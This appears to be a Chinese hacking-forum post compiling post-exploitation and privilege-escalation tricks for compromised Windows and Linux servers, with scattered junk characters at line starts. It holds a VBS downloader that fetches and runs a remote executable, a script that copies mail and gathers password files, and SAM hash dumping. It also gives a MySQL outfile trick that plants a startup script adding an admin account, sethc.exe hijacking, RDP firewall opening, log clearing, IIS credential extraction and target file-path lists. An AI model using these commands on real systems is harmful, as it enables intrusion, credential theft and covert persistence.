（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
& Q% u3 Q# C5 u& ~8 b) N感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
7 W* y. W1 }: b# t) q) h/ R% f0 z/ B————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
1 p9 ?% x- |. r& r- O& T) G$ Yalzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
8 B0 z% i. K3 ]( m! P5 k3 P1 M注：
, H5 K1 x. P) @* T: k关于tar的打包方式,linux不以扩展名来决定文件类型。
- J4 p  E& O. }3 i$ H! {若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
  E7 X+ T3 A8 w3 T1 G}  
8 B6 C9 m' u# E( }. c
7 |  I- O; k. m0 N- D2 I& `提权先执行systeminfo
token 漏洞补丁号 KB956572
Churrasco          kb952004
命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
2 y5 x; q1 F, F0 j( ^1 M2、收集系统信息的脚本  
for window：
8 R" O0 H  L& @6 R
& I; ?# O/ X3 H  E3 t5 B' x1 z" b@echo off
# z( G# r5 ?  L" }: i! Kecho #########system info collection
systeminfo
1 L  D- Y6 s8 F" L: v! s0 fver
hostname
2 }" I% B3 |6 {; O# bnet user
net localgroup
* x, ~" N' Z% x! D7 G) L# gnet localgroup administrators
net user guest
net user administrator

echo #######at- with   atq#####
echo schtask /query
; f4 b' ~% Q8 {4 v
( B# k1 p2 Q' C  h# techo
echo ####task-list#############
tasklist /svc
echo
echo ####net-work infomation
ipconfig/all
0 V6 e& _9 v% eroute print
- f$ M4 \) n  Xarp -a
netstat -anipconfig /displaydns
echo
3 D, P/ E5 F# r" L) h! o& lecho #######service############
3 {. i0 A5 x4 y* Hsc query type= service state= all
echo #######file-##############
5 \) n, \7 W( U6 ?- Ocd \
tree -F
for linux：
! e+ {/ o; D4 k2 N" W
% f  Q( ]9 g7 I" X#!/bin/bash
0 ~9 y- x: I0 G/ k
8 B6 s6 Z+ r# Y) ^0 ]6 e8 L. J5 kecho #######geting sysinfo####
% g4 A# s( P7 }' M0 L1 iecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
& a; `) e2 a! y' I1 R( secho #######basic infomation##
7 ?/ y' O) ^  n. ccat /proc/meminfo
/ a/ Q  \( {$ E4 z( ~# f$ O3 ?echo
cat /proc/cpuinfo
' V  b$ D* t% ^8 c1 Y  becho
rpm -qa 2>/dev/null
5 W+ D4 B; d3 N8 l( O! }######stole the mail......######
( U: D5 l$ u" E; o& g: g* icp -a /var/mail /tmp/getmail 2>/dev/null


echo 'u'r id is' `id`
echo ###atq&crontab#####
atq
3 }: P( D9 G$ tcrontab -l
echo #####about var#####
set
7 j. A6 J' V2 B3 p7 d: t
. A0 ~( i) n6 h+ x0 C5 Recho #####about network###
5 Q' P7 E: h0 j' e6 w/ w% C+ _####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
8 F/ q6 N! \$ t/ g% Lhostname
! m* U" ]' S, g* Lipconfig -a
arp -v
echo ########user####
cat /etc/passwd|grep -i sh
7 X7 F0 ]* x* k' }# A+ v8 g. _
echo ######service####
9 ^; z  C- S/ H6 B. @( Bchkconfig --list

. C5 Z3 T* x- u: @9 f) mfor i in {oracle,mysql,tomcat,samba,apache,ftp}
8 ~0 R. T/ v3 f& O& Icat /etc/passwd|grep -i $i
done
+ B! z2 h( }0 L
+ s6 q  a# N: R7 elocate passwd >/tmp/password 2>/dev/null
sleep 5
5 W1 a6 P) N- |  O% Alocate password >>/tmp/password 2>/dev/null
sleep 5
7 B6 u& M0 g# s& Rlocate conf >/tmp/sysconfig 2>dev/null
# ^; ]- c* q& G5 |9 a$ @" T6 Esleep 5
locate config >>/tmp/sysconfig 2>/dev/null
sleep 5
  H; T4 P5 z3 t$ ~. V" A5 d( p
###maybe can use "tree /"###
echo ##packing up#########
7 ]9 {. p4 P7 dtar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
+ {8 A( f7 O2 ^  a" m6 p5 ~6 jrm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
  Z! H3 h4 K2 m5 Z+ y' ihash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
  k8 H4 C9 M4 M8 \——————————————
4、vbs 下载者
1
; `+ @3 h+ h4 Qecho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
3 H% H8 Q% i3 u# Recho sGet.Mode = 3 >>c:\windows\cftmon.vbs
. @3 B2 E/ u$ e& Q' G- `0 W6 @echo sGet.Type = 1 >>c:\windows\cftmon.vbs
' Y# i9 l. U0 t" q# l, L; G! uecho sGet.Open() >>c:\windows\cftmon.vbs
6 ?* b) z# o$ y+ Recho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
% B) F. W2 u/ t7 u& m# r! zecho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
! D( l* f) Q) O  L' N- H2 wecho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
& J* L6 C/ K. [! bcftmon.vbs
$ g4 Z9 |: Y9 m! q5 E. b" k& u- k
- H) A+ a; J: P2
On Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
+ k' F, Y/ s6 w3 t4 O' L5 ]& j+ wsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

' T  d+ j/ h( ?$ i7 H, l9 S* m5 l当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
) C% f" m/ J: g3 @——————————————————
1 ?) S8 M* J  C4 b: h5、
3 s; ~: f7 P/ V; A0 c3 \1.查询终端端口
& S0 h! g5 q" f! C3 L# V9 CREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
" S5 e$ k" f7 d3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
4 _! m, _0 M  q' T& j$ MREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
7 y9 G1 n$ c2 r: H- |/ ]4 J' m/ Minsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
# j7 `& v8 y9 D! {7 rselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
% \$ K0 J2 a  E4 b) m————————————————————
% \  y9 u) f( l" D8 r- W7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
* X; p5 R1 h' {; e+ o_____
8、for /d %i in (d:\freehost\*) do @echo %i
& W) t% N# Z4 @
列出d的所有目录
$ ^; s( _, v8 H# ~' v6 t  
6 b' F0 B+ i9 z( o  for /d %i in (???) do @echo %i

把当前路径下文件夹的名字只有1-3个字母的打出来
9 o& M7 R; z, X5 K/ P& q  ~3 r" e5 v
2.for /r %i in (*.exe) do @echo %i
  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
% N: I9 C5 T% [0 Q5 T$ ~0 t
8 R' B$ q7 p* N% efor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

3.for /f %i in (c:\1.txt) do echo %i
  
- z4 ^6 m( @, `/ a  l0 R5 g; V8 D  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
( A+ s0 V% u8 L) W  U3 {
8 w- |: l0 c2 S0 H6 X4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
8 c3 j( P# b8 t% t9 k% }
4 J- f  i4 M9 n9 {/ w* d& J  delims=后的空格是分隔符 tokens是取第几个位置
" o" t2 ~7 y5 p: [——————————
8 N9 l/ ?* t* ]# a●注册表:
. k! K9 Q, R9 {$ D' i1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

2.修改3389的默认端口:
6 W3 H' ^7 `6 }5 _' qHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
. i: y& F3 S) o1 N- K修改PortNumber.
4 ?/ Z% K: I. W1 o4 O- G# l
3.清除3389登录记录:
% b' ^4 b/ A% wreg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
" o) l8 J* w' L
2 C* l* r3 W' @5 ~8 |4.Radmin密码:
" }% [% ]) J# o0 V: G; E" greg export HKLM\SYSTEM\RAdmin c:\a.reg

5.禁用TCP/IP端口筛选(需重启):
$ B5 n/ H) ~0 xREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

& d8 ]  p) a) r6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
3 O# Y7 I9 k$ q/ b' o0 Pnetsh ipsec dynamic set config ipsecexempt value=0

  `) l: w- J& f7.停止指派策略"myipsec":
5 d) F! B% w7 p2 F( Xnetsh ipsec static set policy name="myipsec" assign=n

+ T% z0 q6 {3 ]8.系统口令恢复LM加密:
1 U3 X$ F' r4 f- O  [) freg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
$ q  L. c5 t( |5 sreg save hklm\security c:\security.hive
* f$ H# v; }6 @+ E, S: Z" U" h
( Y- ^3 l% {- p' D+ i10.shift映像劫持
1 }* p. l% B* o  d( c9 B2 Mreg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
  L$ J3 R' k, v+ D6 O  ^$ Q星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
( R4 x, t$ T9 h- ^8 J' `* Hif IsNumeric(childObjectName)=true then
3 m2 p7 n& P. ]3 dset IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
5 \( Q) A& P$ [% c( o( t$ ^exit for
msgbox("error!")
" }9 p" `0 V9 ~wscript.quit
end if
5 r( E  q+ p4 x9 N$ @& W( Nserverbindings=IIS.serverBindings
1 d1 H; k- M; FServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
4 g% i* u9 ?( w- ~( ]user=iisweb.AnonymousUserName
" O( H. V/ P% Mpass=iisweb.AnonymousUserPass
# V; X% F9 s. F" i  _. spath=IIsWeb.path
; h5 K/ }) O+ e0 Y& s8 p# X' V" slist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
Next
# p5 p' |# v' \3 v: C3 v$ X+ gwscript.echo list
* X0 A* G$ M. c- d$ E4 |, `. sSet ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
( ?5 B( c& j' ]6 F4 z$ ]WScript.Quit
+ q4 T1 ~! m  ]$ f复制代码
2 e" z9 p6 |& D  ^----------------------2011新气象，欢迎各位补充、指正、优化。----------------
+ f1 f/ }) f; o- C1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
% a# I4 w. p/ t* l4 Z$ ~<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
5 f* {5 D" R' W! E+ U</OBJECT>
复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
& |8 X  ?% J8 }# [% s* ~) fasp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
- R* b  X+ V0 q 解决方法
url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马

==============================================================
. v. [, S9 b" tLINUX常见路径：

" D+ q" H, B2 B6 A% X9 ]  }0 E- D/etc/passwd
: q0 Y0 f0 `; F3 F6 ]/etc/shadow
/etc/fstab
/etc/host.conf
/etc/motd
/etc/ld.so.conf
7 j2 X8 ~0 N+ h3 k$ }; ]# v9 H/var/www/htdocs/index.php
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
' O+ B, x+ r4 r# m) Q* Z/var/httpd/conf/httpd.conf
, W3 k: j% P! K. S/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/var/www/index.html
" f* ]6 m. _" z! Y/var/www/index.php
% ?+ t) L9 H- u0 S+ |. L+ I+ D/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
7 h- h$ u$ U7 J3 r) E6 i$ \/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
: O9 }! r, f% W. K( b2 z/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
' n1 @! A* x# h9 Q% M& |/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
- M9 d) m" C) r* A, |8 @/www/php/php.ini
/www/php4/php.ini
% e) H5 o: {& I; g3 t; W- i) O5 e2 t. F" l/www/php5/php.ini
7 K* V- _6 g0 \7 k& j4 M9 k! }/www/conf/httpd.conf
/www/htdocs/index.php
1 J  k+ ?3 j) [% e# X/www/htdocs/index.html
! A3 g  ~& |5 n/usr/local/httpd/conf/httpd.conf
" W# P$ [/ z$ m. |# W- ~/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
0 @' V# Z( W; ?3 z; T) i/etc/apache2/apache.conf
, B  c# {/ z5 w7 e0 G# r/etc/apache/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
; l/ F- q! V- Y) n0 |' |7 v/ \1 s/etc/apache2/sites-available/default
2 u4 D7 @: B' `& a5 g/etc/phpmyadmin/config.inc.php
2 V" H3 R( M; p' ^% d/etc/mysql/my.cnf
( w* {& f0 K& e2 q& u/etc/httpd/conf.d/php.conf
/ u+ g: i! H& K: A5 h. u* F  A* I8 m/etc/httpd/conf.d/httpd.conf
$ }* H' b% b% ?$ Y  q/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
  N7 X$ d- P9 L+ a2 c+ H/etc/httpd/logs/access_log
0 A6 c+ ?0 @* P: d1 N+ [# P- f/etc/httpd/logs/access.log
  g! u- N* I- |6 a3 a/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
& ]3 |  T* t7 [; B/var/log/apache/access.log
- l1 K; _5 C( B. j6 _; H1 O+ m  ?, P/var/log/apache2/error_log
3 |( `( Z. x" p* N/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
" w& H, g; x  t/var/www/logs/error_log
' H2 U) ?9 J( F- f+ y4 g3 c6 ]/var/www/logs/error.log
0 g+ j, H. ^1 t: I  m/var/www/logs/access_log
! z) q+ \) y# \7 T3 q, o/var/www/logs/access.log
2 X' E6 v) \! ~& h) W/ `: u/usr/local/apache/logs/error_log
; u* k2 C) Z& v4 w' e, Q3 U/usr/local/apache/logs/error.log
7 S! b# B; a5 M5 ]: t' L/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
" E4 d; D, a6 k4 J: ]/var/log/error_log
" K( T1 n$ j/ e  F3 Z3 `/var/log/error.log
6 w) y) o2 c0 f2 O9 n6 q1 N& T/var/log/access_log
8 W% Q. T  o, E  y/ h4 v- k/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
2 j, ?7 Z* \/ h" Z  r/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
  V( E2 ~+ Z0 H* g6 n/bin/php.ini
1 S' @) z, s3 y1 A% T$ B  Y/etc/init.d/httpd
! p8 ~0 o) U; o/etc/init.d/mysql
/etc/httpd/php.ini
  r* Q! j: d2 p1 G$ I( x' e/usr/lib/php.ini
+ m7 b) J6 e6 n/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
# j" C# z0 |, @# l/ h) B0 V0 {+ r/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
- \7 H0 f& _; d9 w( h/usr/local/apache/conf/php.ini
# B+ y7 M; z. h) n* s9 w$ {/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
( N! T5 ^: L/ V& B5 c/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
. ], O4 ]9 D1 V. w0 x8 X/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
2 U* D/ X/ r2 T9 P. N  h/etc/php/php.ini
/etc/php/php4/php.ini
, a( Z) ^: d# ^- }7 x% B/etc/php/apache/php.ini
! z5 R( |( h6 b6 G% {, t/etc/php/apache2/php.ini
0 }, _2 c6 c$ ?! D' M/web/conf/php.ini
1 ?' ~; G' L" y+ Z: X* W; ^/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
6 j( [9 d' y0 s( b  N3 I: T9 C3 G/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
- h1 X" K+ T- d/php5/php.ini
/php4/php.ini
4 t  _2 N" o" l8 @; z9 X/php/php.ini
, |' w$ d# Y2 q% w2 v/ C$ n8 y( t6 f/PHP/php.ini
1 n: Y. F  U6 i& P1 J  V3 K/apache/php/php.ini
/xampp/apache/bin/php.ini
9 z9 x2 Y4 ^# Y; Q8 d5 z( U/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
% Q6 b0 ^* S' @+ E0 E/home2/bin/stable/apache/php.ini
; P! ]" [% y2 v% u+ W: u/ j1 K* C/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
/var/log/mysql.log
: ?0 ~  R, X8 c6 h% w/var/log/mysqlderror.log
9 i) {: D) n  J& {% X+ x/var/log/mysql/mysql.log
4 V  L1 W  r9 p8 J# c/var/log/mysql/mysql-slow.log
' O/ h3 T, @5 z4 q1 U! J5 I/ M  [/var/mysql.log
# P- z0 @$ ]  R/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
; n# L' ^0 S# o/ \1 L  E8 ?/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
/etc/my.cnf
/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
6 t) V5 g1 R' n: d/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
& S5 F) Q! C+ o5 {3 t# [5 o+ {" v/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini

6 }* M/ x& Z$ V1 W7 \2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
. I+ k, T: c1 q) K
8 @$ M" ?. D! p8 D  L- Bc:\windows\php.ini
1 Z! T& D) v+ U! qc:\boot.ini
6 c" j8 s6 f4 F( n) x) dc:\1.txt
' y) |9 r& T' U2 U4 f" J% ~1 Nc:\a.txt
( w' D4 ]. Z2 T
c:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
. a# I* C2 G. v/ L$ Oc:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
7 u+ W4 E# `* c- F$ m0 [c:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
7 O, J# E9 W% q+ ]C:\WinWebMail\Web\default.asp
( w& q1 `) L0 kC:\WINDOWS\FreeHost32.dll
& P! H) i4 k% y# `C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe
8 O9 ~2 ?& F% H+ B: A; c/ G
; B$ G9 h0 v& Q, Q% J- x0 bc:\hzhost\databases\url.asp

c:\hzhost\hzclient.exe
% e: w9 O* ^% s) w! |2 FC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
4 e$ B2 N# W' _5 Y9 U6 Dc:\www\index.html
% H, K3 W2 k+ Z1 c" Sc:\WWWROOT\index.html
c:\website\index.html
c:\web\index.asp
c:\www\index.asp
c:\wwwsite\index.asp
c:\WWWROOT\index.asp
c:\web\index.php
c:\www\index.php
, S# M# A4 S9 v" C' }4 oc:\WWWROOT\index.php
c:\WWWsite\index.php
c:\web\default.html
3 L/ H- K9 T$ Q! [  {4 T* Q. N- qc:\www\default.html
4 O- L9 E* G; V0 f$ d$ Q8 W3 yc:\WWWROOT\default.html
* A1 i6 @" w2 O7 E. N% `c:\website\default.html
c:\web\default.asp
7 R3 _) P+ c% [1 e7 _6 g+ _c:\www\default.asp
' r- Z' l6 G9 _" H  Ec:\wwwsite\default.asp
c:\WWWROOT\default.asp
1 r1 }# s$ i7 W+ {/ L9 L. Cc:\web\default.php
2 g0 Z, @" n, s/ \c:\www\default.php
c:\WWWROOT\default.php
c:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
c:\winnt\notepad.exe
( \3 H  ]2 x& o+ R) B% VC:\Program Files\Microsoft Office\OFFICE10\winword.exe
, o4 t8 l: C  W5 e) GC:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
; T! P' @7 Y4 b  c9 _5 OC:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
3 e2 r, J* r! G) |$ UC:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
: _+ M6 \5 i/ K* q2 U0 p2 c+ F, k" vc:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
& b" c) M& Z/ f- wC:\Documents and Settings\Administrator\My Documents\Default.rdp
4 S( ~: y8 o& v2 G+ \% RC:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
& Z* D! v9 D& w) h+ kC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
5 D$ a( E, S: \2 b1 f1 j8 D% h0 TC:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
0 Q) R* J7 `! ?+ s( JC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
# N" r8 h4 g0 ]9 r" T( F8 o  C+ tC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
% Y* A- v, G/ |+ h; hC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
2 W' }8 Z5 z. v; ]- ?3 X. N7 {C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
' m" `/ F- X+ j) yC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
1 z7 Z6 _( U% G# R; M" xC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
* M4 ]7 S0 ^  M5 tC:\Program Files\MySQL\MySQL Server 5.0\my.ini
7 v. y2 B; F1 R6 JC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
' w- O' k0 h4 G" Q$ C4 d5 Gc:\MySQL\MySQL Server 4.1\bin\mysql.exe
- m8 l; e. w9 I$ B! ?c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
, c. ?, _) d" ^( p5 ^C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
5 f  i6 I3 T/ QC:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
- x- b6 q9 N1 Q6 BC:\WINDOWS\system32\inetsrv\MetaBase.xml
8 r9 O! b  L$ s0 S" U- Z6 M& pC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
  o" |: y3 m7 I$ P. ?C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
) I8 Q+ D. m: d1 }8 u# O, ]! d- C# b6 dC:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
( D$ i' o( `; e" Xc:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
+ O# {& a, y6 J1 o) |% |' S& Jc:\tomcat\bin\version.sh
) r: x& p+ I1 Q( H# cc:\program files\tomcat6\bin\version.sh
8 N  _& j& q" ]) CC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
! l7 W2 Q! i! f9 c) U7 Qc:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
) T' h- x" ?7 s- IC:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
5 L/ a- w  S( v6 m/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
$ o, y3 A8 u  z4 E+ E  Y9 A0 \7 Gc:\Program Files\QQ2007\qq.exe
$ ~1 `& |, o+ Q8 kc:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
* s. x9 R7 ^2 K6 U4 A5 pc:\Program Files\Tencent\qq\bin\qq.exe
